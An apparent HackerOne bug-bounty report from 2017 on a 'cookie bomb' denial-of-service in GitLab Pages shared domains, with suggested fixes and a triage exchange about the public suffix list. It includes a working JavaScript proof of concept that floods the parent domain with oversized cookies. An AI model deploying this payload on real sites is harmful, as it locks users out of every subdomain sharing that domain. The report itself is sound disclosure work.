HackerOne reported issue: Cookie bomb vulnerability in Pages
Title: Cookie bomb
Weakness: Denial of Service
Severity: Medium
Link: https://hackerone.com/reports/221041
Date: 2017-04-14 18:21:19 +0000
By: @Moritz30
Details: It is possible to create a that called cookie bomb in Gitlab Pages. This is especially a problem if the site creating the cookie bomb uses a shared pages domain. In that case no (sub)domain of that domain would be accessible for that user anymore until they clear their cookies. That does not only include GitLab (Pages) (sub)domains. The code of my sample page is
<html>
<head>
</head>
<body>
<script>
var base_domain = document.domain.substr(document.domain.indexOf('.'));
var pollution = Array(4000).join('a');
for(var i=1;i<99;i++){
document.cookie='bomb'+i+'='+pollution+';Domain='+base_domain;
}
</script>
<h1>Cookie Bomb executed! To remove it clear your cookies.</h1>
</body>
</html>
The cookie bomb works by using JavaScript to set cookies that are way too big making the server decline any request send with them for having a too long request header.
It should also work on Gitlab.com.
More information about cookie bombs can be found at http://homakov.blogspot.de/2014/01/cookie-bomb-or-lets-break-internet.html .
A solution would be to inject JS into every page served using Gitlab pages that uses the cookies.change event and checks if there are a lot of cookies being set and then removing them. An other solution would be to check the HTML of Gitlab pages before deploying them.
Test sites: Just a demo page that does nothing special (to see that it works before but not after executing the cookie bomb): http://test1.thedragonteam.info A page that executes a cookie bomb: http://test2.thedragonteam.info Both are served using Gitlab pages.
Timeline: 2017-04-14 18:58:07 +0000: @briann (comment) Hi @Moritz30,
Thanks for the report. Just to clarify things... gitlab.io is listed as a public suffix here: https://publicsuffix.org/list/public_suffix_list.dat and should not be vulnerable to these attacks. Please do let us know if you've found otherwise.
It sounds like the attack you've described is limited to custom domains (or custom GitLab instances that have enabled Pages for outside users but haven't listed their pages domain with publicsuffix.org). Is that correct?
2017-04-14 19:06:21 +0000: @Moritz30 (comment) The second part is right. The first one is right for browsers using the public suffix list, too however I just tried and found out that it works on gitlab.io using Firefox for Android (see attachement; I just used a random subdomain of gitlab.io after opening a test gitlab page with a cookie bomb) It is possible, that other browsers are vulnerable, too but I have not checked that.